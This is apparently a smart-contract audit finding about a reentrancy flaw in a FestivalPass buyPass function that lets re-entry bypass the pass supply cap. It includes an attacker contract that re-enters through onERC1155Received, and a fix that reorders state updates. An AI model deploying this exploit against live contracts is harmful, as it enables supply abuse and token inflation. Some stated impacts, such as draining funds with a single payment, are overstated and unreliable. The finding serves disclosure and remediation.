Root + Impact
The buyPass function makes external calls after state checks but before state updates, creating a reentrancy vulnerability that allows attackers to bypass supply limits and drain contract funds.
Description
-
The normal behavior should update all internal state before making any external calls to prevent reentrancy attacks
-
The current implementation makes external calls (_mint and BeatToken.mint) while the contract state is still inconsistent, allowing malicious contracts to re-enter and exploit the function
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
@> BeatToken(beatToken).mint(msg.sender, bonus);
}
}
Risk
Likelihood:
Impact:
-
Bypass of maximum supply limits leading to overselling of passes
-
Potential fund drainage through multiple pass purchases with single payment
-
BEAT token inflation through repeated bonus distributions
-
Market manipulation through artificial scarcity bypass
Proof of Concept
contract ReentrancyAttack {
FestivalPass public festival;
uint256 public targetPassId = 2;
uint256 public attackCount;
constructor(address _festival) {
festival = FestivalPass(_festival);
}
function attack() external payable {
festival.buyPass{value: msg.value}(targetPassId);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public returns (bytes4) {
if (attackCount < 3) {
attackCount++;
festival.buyPass{value: address(this).balance}(targetPassId);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}
Recommended Mitigation
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ // Effects: Update state before external interactions
+ ++passSupply[collectionId];
+ uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
+ // Interactions: External calls after state updates
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
- uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}